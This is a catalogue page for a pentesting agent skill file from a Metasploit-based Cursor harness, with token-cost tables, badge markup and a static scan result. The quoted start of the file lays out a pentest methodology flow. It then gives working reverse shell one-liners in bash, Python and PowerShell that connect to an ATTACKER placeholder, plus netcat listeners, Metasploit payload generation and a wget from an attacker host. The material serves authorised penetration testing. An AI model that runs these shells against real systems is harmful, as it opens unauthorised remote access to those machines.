Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/methodology-cheatsheets/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/methodology-cheatsheets)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/methodology-cheatsheets"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/methodology-cheatsheets/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/methodology-cheatsheets"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/methodology-cheatsheets.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00058 | $0.02702 |
| Opus 5 | $0.00029 | $0.01351 |
| Sonnet 5 | $0.00012 | $0.00540 |
| Haiku 4.5 | $0.00006 | $0.00270 |
Grade A, and why
methodology-cheatsheets scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
wget http://ATTACKER:8080/file -O /tmp/file How it starts
The opening of the file, as written. The whole thing — 381 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Methodology and Cheatsheets
When to Use
- Model phase (SG2.*): threat modeling and attack scenario planning
- Recon: network discovery, external footprinting
- Post-exploit: shells, pivoting, hash cracking, tool syntax
- Report phase (SG6.*): finding structure (see
reporting-pentest) - Any agent needs a quick reference not covered by a domain skill
Pentest methodology flow
pre_engage -> scope, ROE, rules of engagement
recon -> passive/active discovery, service mapping
model -> attack paths, prioritization
analyze -> vuln validation, exploitability
exploit -> controlled access (check before exploit)
post_exploit -> privesc, lateral, pivot, cred harvest
report -> findings, evidence, remediation
Route deep execution to domain skills: AD (internal-ad-pentest), cloud (cloud-pentest), web (web-app-pentest), containers (container-devops-pentest).
Reverse shells
Start listener
MSF MCP (preferred):
msf_start_listener(
engagement_id="<id>",
payload="linux/x64/shell/reverse_tcp",
lhost="<attacker>",
lport=4444
)
CLI fallback:
nc -lvnp 4444
ncat -lvnp 4444 --ssl
Bash reverse shell
MSF: No direct module. Use msf_start_listener then trigger shell on target.
CLI fallback:
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
Python reverse shell
MSF: No direct module. Use listener + target-side Python one-liner.
CLI fallback:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
PowerShell reverse shell
MSF MCP (preferred):
msf_generate_payload(
engagement_id="<id>",
payload="windows/x64/meterpreter/reverse_tcp",
format="psh",
options={"LHOST": "ATTACKER", "LPORT": 4444},
output_path="evidence/msf/revshell.ps1"
)
CLI fallback:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
}
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 381 lines · 58 tokens per session scan A ca69252ba6ac
methodology-cheatsheets is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 14d ago), licensed MIT. It adds 58 tokens to every session and 2,702 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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